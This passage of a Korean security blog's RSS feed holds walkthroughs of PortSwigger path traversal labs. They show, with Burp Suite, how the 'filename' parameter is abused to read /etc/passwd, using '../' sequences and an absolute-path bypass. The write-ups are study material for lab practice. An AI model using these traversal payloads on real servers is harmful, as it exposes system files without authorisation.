&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;702&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/HGUhX/dJMcacYcTPM/15fZCoI5BHl9Ocv8OBsDcK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/HGUhX/dJMcacYcTPM/15fZCoI5BHl9Ocv8OBsDcK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/HGUhX/dJMcacYcTPM/15fZCoI5BHl9Ocv8OBsDcK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FHGUhX%2FdJMcacYcTPM%2F15fZCoI5BHl9Ocv8OBsDcK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;490&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;702&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;이때&amp;nbsp;Burp&amp;nbsp;Suite&amp;nbsp;HTTP&amp;nbsp;history&amp;nbsp;탭을&amp;nbsp;확인해&amp;nbsp;보면&amp;nbsp;이미지를&amp;nbsp;가져오는&amp;nbsp;요청이&amp;nbsp;여러&amp;nbsp;개인&amp;nbsp;것을&amp;nbsp;볼&amp;nbsp;수&amp;nbsp;있습니다.&amp;nbsp;(이미지&amp;nbsp;요청이&amp;nbsp;안&amp;nbsp;보이면&amp;nbsp;Filter를&amp;nbsp;OFF&amp;nbsp;상태로&amp;nbsp;바꿔야&amp;nbsp;합니다.)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1166&quot; data-origin-height=&quot;421&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/I6Hzr/dJMcahLXLs7/kfE4o5nsYC5RJpkcKKAgPK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/I6Hzr/dJMcahLXLs7/kfE4o5nsYC5RJpkcKKAgPK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/I6Hzr/dJMcahLXLs7/kfE4o5nsYC5RJpkcKKAgPK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FI6Hzr%2FdJMcahLXLs7%2FkfE4o5nsYC5RJpkcKKAgPK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1166&quot; height=&quot;421&quot; data-origin-width=&quot;1166&quot; data-origin-height=&quot;421&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;이미지&amp;nbsp;요청&amp;nbsp;중&amp;nbsp;하나를&amp;nbsp;선택해서&amp;nbsp;Burp&amp;nbsp;Suite&amp;nbsp;Repeater&amp;nbsp;기능에&amp;nbsp;세팅합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1120&quot; data-origin-height=&quot;584&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b8JXJO/dJMcacqqy09/H47znIu1KqU3SwD9aj3vK0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b8JXJO/dJMcacqqy09/H47znIu1KqU3SwD9aj3vK0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b8JXJO/dJMcacqqy09/H47znIu1KqU3SwD9aj3vK0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb8JXJO%2FdJMcacqqy09%2FH47znIu1KqU3SwD9aj3vK0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;443&quot; data-origin-width=&quot;1120&quot; data-origin-height=&quot;584&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;`filename` 파라미터에 상위 디렉터리 이동을 이용하여 `/etc/passwd` 파일에 접근을 시도해 보면 어떠한 필터링에 의해 접근이 불가능한 것을 볼 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1120&quot; data-origin-height=&quot;584&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cu3P4b/dJMb991wiWp/m2qno2PjrWcjRAKkjRjMO1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cu3P4b/dJMb991wiWp/m2qno2PjrWcjRAKkjRjMO1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cu3P4b/dJMb991wiWp/m2qno2PjrWcjRAKkjRjMO1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcu3P4b%2FdJMb991wiWp%2Fm2qno2PjrWcjRAKkjRjMO1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;443&quot; data-origin-width=&quot;1120&quot; data-origin-height=&quot;584&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;&lt;b&gt;[설명]&lt;/b&gt; &lt;br /&gt;유닉스 계열의 운영체제에서 상위 디렉터리 이동을 의미하는 `../` 을 루트 디렉터리인 `/` 까지 도달할 수 있도록 여러 번 사용해서 `etc/passwd` 접근이 되지 않았으므로 어떠한 필터링이 작용하고 있다고 생각해 볼 수 있습니다.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;이번엔 `filename` 파라미터에 절대 경로를 이용하여 `/etc/passwd` 파일에 접근을 시도하면 접근에 성공하여 `/etc/passwd` 파일 내용을 읽어오고 있는 것을 볼 수 있습니다. 따라서 Path Traversal 취약점이 존재한다는 것을 알 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1118&quot; data-origin-height=&quot;588&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bN7K25/dJMcahZtz45/FGv1QNwkOLKYCU9oOFBgCK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bN7K25/dJMcahZtz45/FGv1QNwkOLKYCU9oOFBgCK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bN7K25/dJMcahZtz45/FGv1QNwkOLKYCU9oOFBgCK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbN7K25%2FdJMcahZtz45%2FFGv1QNwkOLKYCU9oOFBgCK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;447&quot; data-origin-width=&quot;1118&quot; data-origin-height=&quot;588&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;&lt;b&gt;[페이로드]&lt;/b&gt; &lt;br /&gt;filename=/etc/passwd &lt;br /&gt;&lt;br /&gt;&lt;b&gt;[설명]&lt;/b&gt; &lt;br /&gt;상위 디렉터리 이동을 의미하는 `../` 를 필터링되고 있다는 것을 확인했습니다. 서버에서는 상위 디렉터리 이동만을 필터링 하고 있었고 filename 파라미터로 전달받은 값을 작업 디렉터리 뒤에 붙여서 파일을 가져오는 것으로 보였습니다. &lt;br /&gt;&lt;br /&gt;하지만 절대 경로를 사용하면 파일이 원래 작업 디렉터리가 아닌 절대 경로 그 자체를 사용했고 그 결과 `/etc/passwd` 파일에 접근이 가능했기 때문에 해당 내용들을 읽어올 수 있었습니다.&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;랩의 상태가 solved 인지 확인하기 위해 웹 페이지로 돌아가 보면 문제에서 요구한 대로 `/etc/passwd` 내용들을 읽는 것에 성공했으므로 랩 문제를 해결하게 됩니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;702&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/GVV5I/dJMcahkZfbf/kGu1NFrzeAMcbkZSSP1vak/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/GVV5I/dJMcahkZfbf/kGu1NFrzeAMcbkZSSP1vak/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/GVV5I/dJMcahkZfbf/kGu1NFrzeAMcbkZSSP1vak/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FGVV5I%2FdJMcahkZfbf%2FkGu1NFrzeAMcbkZSSP1vak%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;490&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;702&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>[WEB] CTF &amp;amp; Wargame/PortSwigger Web Security Academy</category>
      <category>File path traversal</category>
      <category>Path Traversal</category>
      <category>portswigger</category>
      <category>모의해킹</category>
      <category>모의해킹 공부</category>
      <author>0xSecurity</author>
      <guid isPermaLink="true">https://code000.tistory.com/40</guid>
      <comments>https://code000.tistory.com/entry/Lab-File-path-traversal-traversal-sequences-blocked-with-absolute-path-bypass#entry40comment</comments>
      <pubDate>Tue, 21 Jul 2026 15:18:52 +0900</pubDate>
    </item>
    <item>
      <title>Lab: File path traversal, simple case</title>
      <link>https://code000.tistory.com/entry/Lab-File-path-traversal-simple-case</link>
      <description>&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;문제 링크&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;https://portswigger.net/web-security/file-path-traversal/lab-simple&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;목표 &amp;amp; 사용 도구&lt;/h3&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;목표:&lt;/b&gt;&lt;span&gt; Path Traversal을 이용해 /etc/passwd 파일에 접근하는 것입니다.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;사용도구:&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;Burp Suite&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;문제 설명&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당&amp;nbsp;랩에는&amp;nbsp;상품&amp;nbsp;이미지를&amp;nbsp;보여주는&amp;nbsp;곳에서&amp;nbsp;path&amp;nbsp;traversal&amp;nbsp;취약점이&amp;nbsp;존재한다고&amp;nbsp;합니다.&amp;nbsp;해당&amp;nbsp;랩을&amp;nbsp;풀기&amp;nbsp;위해서는&amp;nbsp;/etc/passwd&amp;nbsp;파일을&amp;nbsp;읽어와야&amp;nbsp;합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;문제 풀이&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;ACCESS&amp;nbsp;THE&amp;nbsp;LAB을&amp;nbsp;클릭하여&amp;nbsp;랩에&amp;nbsp;접속합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;702&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bqY0Zs/dJMcaheaBAx/v8Y4SjrNEGJeWwlav0d8z0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bqY0Zs/dJMcaheaBAx/v8Y4SjrNEGJeWwlav0d8z0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bqY0Zs/dJMcaheaBAx/v8Y4SjrNEGJeWwlav0d8z0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbqY0Zs%2FdJMcaheaBAx%2Fv8Y4SjrNEGJeWwlav0d8z0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;490&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;702&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Burp&amp;nbsp;Suite에서&amp;nbsp;HTTP&amp;nbsp;history&amp;nbsp;탭에&amp;nbsp;들어가&amp;nbsp;보면&amp;nbsp;랩에&amp;nbsp;접속했을&amp;nbsp;때&amp;nbsp;이미지를&amp;nbsp;보여주기&amp;nbsp;위해서&amp;nbsp;GET&amp;nbsp;요청으로&amp;nbsp;이미지를&amp;nbsp;가져오고&amp;nbsp;있는&amp;nbsp;것을&amp;nbsp;볼&amp;nbsp;수&amp;nbsp;있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1157&quot; data-origin-height=&quot;325&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bO3t4z/dJMcahZsCCx/0ijZe7zMOBNq53MWzYsIv1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bO3t4z/dJMcahZsCCx/0ijZe7zMOBNq53MWzYsIv1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bO3t4z/dJMcahZsCCx/0ijZe7zMOBNq53MWzYsIv1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbO3t4z%2FdJMcahZsCCx%2F0ijZe7zMOBNq53MWzYsIv1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1157&quot; height=&quot;325&quot; data-origin-width=&quot;1157&quot; data-origin-height=&quot;325&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;이미지를&amp;nbsp;가져오는&amp;nbsp;요청&amp;nbsp;중&amp;nbsp;하나를&amp;nbsp;선택해서&amp;nbsp;Burp&amp;nbsp;Suite&amp;nbsp;Repeater&amp;nbsp;기능에&amp;nbsp;세팅합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1123&quot; data-origin-height=&quot;586&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/HR1fC/dJMcab53wSE/OisKa1SdQhX3NZLsXHpreK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/HR1fC/dJMcab53wSE/OisKa1SdQhX3NZLsXHpreK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/HR1fC/dJMcab53wSE/OisKa1SdQhX3NZLsXHpreK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FHR1fC%2FdJMcab53wSE%2FOisKa1SdQhX3NZLsXHpreK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;444&quot; data-origin-width=&quot;1123&quot; data-origin-height=&quot;586&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;filename&amp;nbsp;파라미터에&amp;nbsp;path&amp;nbsp;traversal을&amp;nbsp;이용해&amp;nbsp;/etc/passwd에&amp;nbsp;접근해&amp;nbsp;보면&amp;nbsp;/etc/passwd&amp;nbsp;내용들이&amp;nbsp;전부&amp;nbsp;노출되고&amp;nbsp;있으므로&amp;nbsp;path&amp;nbsp;traversal&amp;nbsp;취약점이&amp;nbsp;존재한다는&amp;nbsp;것을&amp;nbsp;알&amp;nbsp;수&amp;nbsp;있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1123&quot; data-origin-height=&quot;586&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/G13mW/dJMcadJtBia/AthSkMaoKHWTpngEz8p4t0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/G13mW/dJMcadJtBia/AthSkMaoKHWTpngEz8p4t0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/G13mW/dJMcadJtBia/AthSkMaoKHWTpngEz8p4t0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FG13mW%2FdJMcadJtBia%2FAthSkMaoKHWTpngEz8p4t0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;444&quot; data-origin-width=&quot;1123&quot; data-origin-height=&quot;586&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;&lt;b&gt;[설명]&lt;/b&gt; &lt;br /&gt;유닉스&amp;nbsp;계열의&amp;nbsp;운영체제의&amp;nbsp;경우&amp;nbsp;../&amp;nbsp;는&amp;nbsp;상위&amp;nbsp;디렉터리&amp;nbsp;이동을&amp;nbsp;의미합니다.&amp;nbsp;서버에서&amp;nbsp;filename&amp;nbsp;파라미터로&amp;nbsp;전달&amp;nbsp;받은&amp;nbsp;값을&amp;nbsp;이미지가&amp;nbsp;저장된&amp;nbsp;경로에&amp;nbsp;붙여서&amp;nbsp;파일을&amp;nbsp;읽어오는&amp;nbsp;것으로&amp;nbsp;보입니다.&amp;nbsp;이때&amp;nbsp;별다른&amp;nbsp;필터링이나&amp;nbsp;검증을&amp;nbsp;하지&amp;nbsp;않고&amp;nbsp;filename&amp;nbsp;파라미터&amp;nbsp;값을&amp;nbsp;그대로&amp;nbsp;사용하고&amp;nbsp;있었기&amp;nbsp;때문에&amp;nbsp;../&amp;nbsp;를&amp;nbsp;여러&amp;nbsp;번&amp;nbsp;사용했을&amp;nbsp;때&amp;nbsp;상위&amp;nbsp;디렉터리로&amp;nbsp;이동할&amp;nbsp;수&amp;nbsp;있었습니다. &lt;br /&gt;&lt;br /&gt;../&amp;nbsp;를&amp;nbsp;총&amp;nbsp;3번&amp;nbsp;사용했을&amp;nbsp;때&amp;nbsp;/etc/passwd&amp;nbsp;파일에&amp;nbsp;접근이&amp;nbsp;가능했는데&amp;nbsp;이는&amp;nbsp;이미지&amp;nbsp;파일이&amp;nbsp;저장되어&amp;nbsp;있는&amp;nbsp;디렉터리가&amp;nbsp;예를&amp;nbsp;들면&amp;nbsp;/var/www/image/&amp;nbsp;이런&amp;nbsp;식으로&amp;nbsp;되어있었다고&amp;nbsp;추정해&amp;nbsp;볼&amp;nbsp;수&amp;nbsp;있습니다.&amp;nbsp;이때&amp;nbsp;서버가&amp;nbsp;filename&amp;nbsp;파라미터&amp;nbsp;값을&amp;nbsp;전달받아서&amp;nbsp;이미지를&amp;nbsp;가져올&amp;nbsp;최종&amp;nbsp;경로를&amp;nbsp;만든다고&amp;nbsp;하면&amp;nbsp;페이로드를&amp;nbsp;입력했을&amp;nbsp;때&amp;nbsp;/var/www/image/../../../etc/passwd이&amp;nbsp;됩니다.&amp;nbsp;여기서&amp;nbsp;상위&amp;nbsp;디렉터리로의&amp;nbsp;이동이&amp;nbsp;3번&amp;nbsp;발생하므로&amp;nbsp;/var/www/&amp;nbsp;(1),&amp;nbsp;/var/&amp;nbsp;(2),&amp;nbsp;/&amp;nbsp;(3)&amp;nbsp;까지&amp;nbsp;상위&amp;nbsp;디렉터리로&amp;nbsp;이동을&amp;nbsp;하고&amp;nbsp;마지막에&amp;nbsp;있는&amp;nbsp;etc/passwd까지&amp;nbsp;해서&amp;nbsp;최종적으로&amp;nbsp;/etc/passwd&amp;nbsp;파일에&amp;nbsp;접근을&amp;nbsp;할&amp;nbsp;수&amp;nbsp;있게&amp;nbsp;됩니다.&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;랩의&amp;nbsp;상태가&amp;nbsp;solved&amp;nbsp;인지&amp;nbsp;확인하기&amp;nbsp;위해&amp;nbsp;웹&amp;nbsp;페이지로&amp;nbsp;돌아가&amp;nbsp;보면&amp;nbsp;문제에서&amp;nbsp;요구한&amp;nbsp;대로&amp;nbsp;/etc/passwd&amp;nbsp;내용들을&amp;nbsp;읽는&amp;nbsp;것에&amp;nbsp;성공했으므로&amp;nbsp;랩&amp;nbsp;문제를&amp;nbsp;해결하게&amp;nbsp;됩니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;702&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/OVv8h/dJMcadQglyp/8fi3U3J2QGUE43TDjOiOWk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/OVv8h/dJMcadQglyp/8fi3U3J2QGUE43TDjOiOWk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/OVv8h/dJMcadQglyp/8fi3U3J2QGUE43TDjOiOWk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FOVv8h%2FdJMcadQglyp%2F8fi3U3J2QGUE43TDjOiOWk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;490&quot; data-origin-width=&quot;1003&quot; data-origin-height=&quot;702&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>[WEB] CTF &amp;amp; Wargame/PortSwigger Web Security Academy</category>
      <category>File path traversal</category>
      <category>Path Traversal</category>
      <category>portswigger</category>
      <category>모의해킹</category>
      <category>모의해킹 공부</category>
      <author>0xSecurity</author>
      <guid isPermaLink="true">https://code000.tistory.com/39</guid>
      <comments>https://code000.tistory.com/entry/Lab-File-path-traversal-simple-case#entry39comment</comments>
      <pubDate>Mon, 20 Jul 2026 13:41:52 +0900</pubDate>
    </item>
    <item>
      <title>Lab: DOM XSS in document.write sink using source location.search</title>
      <link>https://code000.tistory.com/entry/Lab-DOM-XSS-in-documentwrite-sink-using-source-locationsearch</link>
      <description>&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;문제 링크&lt;/h3&gt;
